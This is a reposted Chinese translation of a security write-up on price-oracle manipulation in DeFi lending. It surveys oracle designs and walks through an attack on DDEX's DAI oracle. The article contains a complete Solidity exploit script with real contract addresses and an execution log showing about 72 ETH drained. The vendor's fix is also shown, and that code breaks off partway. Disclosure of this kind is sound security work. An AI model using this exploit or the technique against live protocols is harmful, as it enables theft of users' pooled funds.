7

通过操控抵押品价格预言机牟利

 3 years ago
source link: https://learnblockchain.cn/article/1915
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEXbZx 容易受到价格操纵攻击。这导致 DDEX 的 ETH/DAI 市场损失 ETH 流动性,以及 bZx 中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的 FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如 ETH 或 USD)的当前价格。不同的 DeFi 项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

  1. 链下中心化预言机
    这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是 EOA(外部账户),而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。 Compound Synthetix 的大多数资产使用这种类型的预言机。

  2. 链下去中心化预言机
    这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。 Maker 针对 ETH 和其他资产使用这种类型的预言机。

  3. 链上中心化预言机
    这种类型的预言机使用链上价格来源(例如 DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是 EOA 而不是多签钱包。 dYdXNuo 针对一些资产使用这种类型的预言机。

  4. 链上去中心化预言机
    这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。 DDEX 将这种类型的预言机用于 DAI,而 bZx 对所有资产使用这种类型的预言机。

  5. 常量预言机
    这种类型的预言机简单地返回一个常数,通常用于稳定币。由于 USDC 钉住美元,因此上述几乎所有项目都将这种类型的预言机用于 USDC。

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其(Uniswap)用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

— Vitalik 非以太赠予者(@VitalikButerin) 2019 年 2 月 20 日

有人询问为什么,Uniswap 项目以下回应:

image-20201221093632496

推文翻译如下:

为什么使用 Uniswap 价格源容易受到攻击? 您的意思是操纵 uniswap 价格以触发清算吗?大多数金融衍生品市场,包括加密衍生品市场,其基础现货市场相比流动性数量级相形见绌。

Uniswap 回复:由于可以进行大量交易,因此用函数检查价格预言,然后使用智能合约同步执行另一项巨大交易。 这意味着攻击者只会损失手续费用,而无法被起诉。 我们正致力于将来将 Uniswap 提升为 Oracle。

(译者注:tweet 的时间是 2019 年 2 月,但是具有时间加权功能的价格预言机功能的 Uniswap 还没有发布。)

这些推文非常清楚地说明了该问题,但需要注意的是,对于任何可以在链上提供 FMV 的预言机,而不仅仅是 Uniswap,都存在此问题。

通常,如果价格预言机是完全去中心化的,则攻击者可以在特定瞬间操纵价格表现,而价格滑点的损失则很小甚至没有。如果攻击者随后能够在价格受到操纵的瞬间通知 DeFi dApp 检查预言机,则它们可能会对系统造成重大损害。在 DDEX 和 bZx 的情况下,有可能借出一笔看上去足够抵押的贷款,但实际上抵押不足。

DDEX(Hydro 协议)

DDEX 是一个去中心化的交易平台,但是正在扩展到去中心化的借贷中,以便他们可以为用户提供创建杠杆多头和空头头寸的能力。他们目前正在对去中心化杠杆保证金交易进行 Beta 测试。

在 2019 年 9 月 9 日,DDEX 将 DAI 作为资产添加到其保证金交易平台中,并启用了 ETH/DAI 市场。对于预言机,他们通过这个合约通过 PriceOfETHInUSD/PriceOfETHInDAI 计算返回 DAI/USD 的价格。ETH/USD 的价格从 Maker 预言机中读取,而 ETH/DAI 的价格从 Eth2Dai 中读取,或者如果价差太大,则从 Uniswap 读取。

function peek()
	public
	view
	returns (uint256 _price)
{
	uint256 makerDaoPrice = getMakerDaoPrice();

	if (makerDaoPrice == 0) {
		return _price;
	}

	uint256 eth2daiPrice = getEth2DaiPrice();

	if (eth2daiPrice > 0) {
		_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
		return _price;
	}

	uint256 uniswapPrice = getUniswapPrice();

	if (uniswapPrice > 0) {
		_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
		return _price;
	}

	return _price;
}

function getEth2DaiPrice()
	public
	view
	returns (uint256)
{
	if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
		return 0;
	}

	uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
	uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);

	uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
	uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);

	uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);

	if (spread > eth2daiMaxSpread) {
		return 0;
	} else {
		return bidPrice.add(askPrice).div(2);
	}
}

function getUniswapPrice()
	public
	view
	returns (uint256)
{
	uint256 ethAmount = UNISWAP.balance;
	uint256 daiAmount = DAI.balanceOf(UNISWAP);
	uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);

	if (ethAmount < uniswapMinETHAmount) {
		return 0;
	} else {
		return uniswapPrice;
	}
}

function getMakerDaoPrice()
	public
	view
	returns (uint256)
{
	(bytes32 value, bool has) = makerDaoOracle.peek();

	if (has) {
		return uint256(value);
	} else {
		return 0;
	}
}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用 updatePrice() 即可。

function updatePrice()
	public
	returns (bool)
{
	uint256 _price = peek();

	if (_price != 0) {
		price = _price;
		emit UpdatePrice(price);
		return true;
	} else {
		return false;
	}
}

参考源码

假设我们可以操纵 DAI/USD 的价格表现。如果是这种情况,我们希望使用它借用系统中的所有 ETH,同时提供尽可能少的 DAI。为此,我们可以降低 ETH/USD 的表现价格或增加 DAI/USD 的表现价格。由于我们已经假设 DAI/USD 的表现价值是可操纵的,因此我们选择后者。

为了增加 DAI/USD 的表现价格,我们可以增加 ETH/USD 的表现价格,或者降低 ETH/DAI 的表现价格。基于当前意图和目的,操纵 Maker 的预言是不可能的(因为其采用中心化链下预言机),因此我们将尝试降低 ETH/DAI 的表现价值。

编者注,因为 DAI/USD 价格 = ETH/USD 价格 ÷ ETH/DAI 价格

预言机 通过 Eth2Dai 取当前要价和当前出价的平均值来计算 ETH/DAI 的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在 Uniswap 大量交易 DAI 来影响 Uniswap 中的价格。因此,我们的目标是绕过 Eth2Dai 逻辑并操纵 Uniswap 价格。

为了绕过 Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

  1. 清除订单的一侧,而保留另一侧。这导致价差正增长
  2. 通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项 2 不会因不利订单而造成任何损失,但 SafeMath 不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致 DAI 预言机回退到 Uniswap 来确定 DAI 的价格。然后,我们可以通过购买大量 DAI 来降低 DAI/ETH 的 Uniswap 价格。一旦操纵了 DAI/USD 的表现价值,便像往常一样借贷很简单。

以下脚本将通过以下方式获利约 70 ETH:

  1. 清除 Eth2Dai 的卖单,直到价差足够大,以致预言机拒绝价格
  2. 从 Uniswap 购买更多 DAI,价格从 213DAI/ETH 降至 13DAI/ETH
  3. 用少量 DAI(〜2500)借出所有可用 ETH(〜120)
  4. 将我们从 Uniswap 购买的 DAI 卖回 Uniswap
  5. 将我们从 Eth2Dai 购买的 DAI 卖回 Eth2Dai
  6. 重置预言机(不想让其他人滥用我们的优惠价格)
contract DDEXExploit is Script, Constants, TokenHelper {
    OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
    DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
    
    ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
    HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
    
    uint16 private constant ETHDAI_MARKET_ID = 1;
    
    uint private constant INITIAL_BALANCE = 25000 ether;
    
    function setup() public {
        name("ddex-exploit");
        blockNumber(8572000);
    }
    
    function run() public {
        begin("exploit")
            .withBalance(INITIAL_BALANCE)
            .first(this.checkRates)
            .then(this.skewRates)
            .then(this.checkRates)
            .then(this.steal)
            .then(this.cleanup)
            .then(this.checkProfits);
    }
    
    function checkRates() external {
        uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
        uint daiPrice = DAI_ORACLE.getPrice(DAI);
        
        printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
    }
    
    uint private boughtFromMatchingMarket = 0;
    
    function skewRates() external {
        skewUniswapPrice();
        skewMatchingMarket();
        require(DAI_ORACLE.updatePrice());
    }
    
    function skewUniswapPrice() internal {
        DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
    }
    
    function skewMatchingMarket() internal {
        uint start = DAI.balanceOf(address(this));
        WETH.deposit.value(address(this).balance)();
        WETH.approve(address(MATCHING_MARKET), uint(-1));
        while (DAI_ORACLE.getEth2DaiPrice() != 0) {
            MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
        }
        boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
        WETH.withdrawAll();
    }
    
    function steal() external {
        HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
        HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.Common,
            marketID: 0,
            user: address(this)
        });
        HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.CollateralAccount,
            marketID: 1,
            user: address(this)
        });
        
        uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
        uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
        
        printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
        
        HydroLike.Action[] memory actions = new HydroLike.Action[](5);
        actions[0] = HydroLike.Action({
            actionType: HydroLike.ActionType.Deposit,
            encodedParams: abi.encode(address(DAI), uint(daiRequired))
        });
        actions[1] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
        });
        actions[2] = HydroLike.Action({
            actionType: HydroLike.ActionType.Borrow,
            encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
        });
        actions[3] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
        });
        actions[4] = HydroLike.Action({
            actionType: HydroLike.ActionType.Withdraw,
            encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
        });
        DAI.approve(address(HYDRO), daiRequired);
        HYDRO.batch(actions);
    }
    
    function cleanup() external {
        DAI.approve(address(MATCHING_MARKET), uint(-1));
        MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
        WETH.withdrawAll();
        
        DAI.giveAllToUniswap();
        require(DAI_ORACLE.updatePrice());
    }
    
    function checkProfits() external {
        printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
    }
}

/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/

DDEX 团队通过部署新的预言机解决了此问题这对 DAI 的价格设置了合约价格界限,目前将其设置为 0.95 和 1.05。

function updatePrice()
	public
	returns (bool)
{
	uint256 _price = peek();

	if (_price == 0) {
		return false;
	}

	if (_price == price) {
		return true;
	}

	if (_price > maxP...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK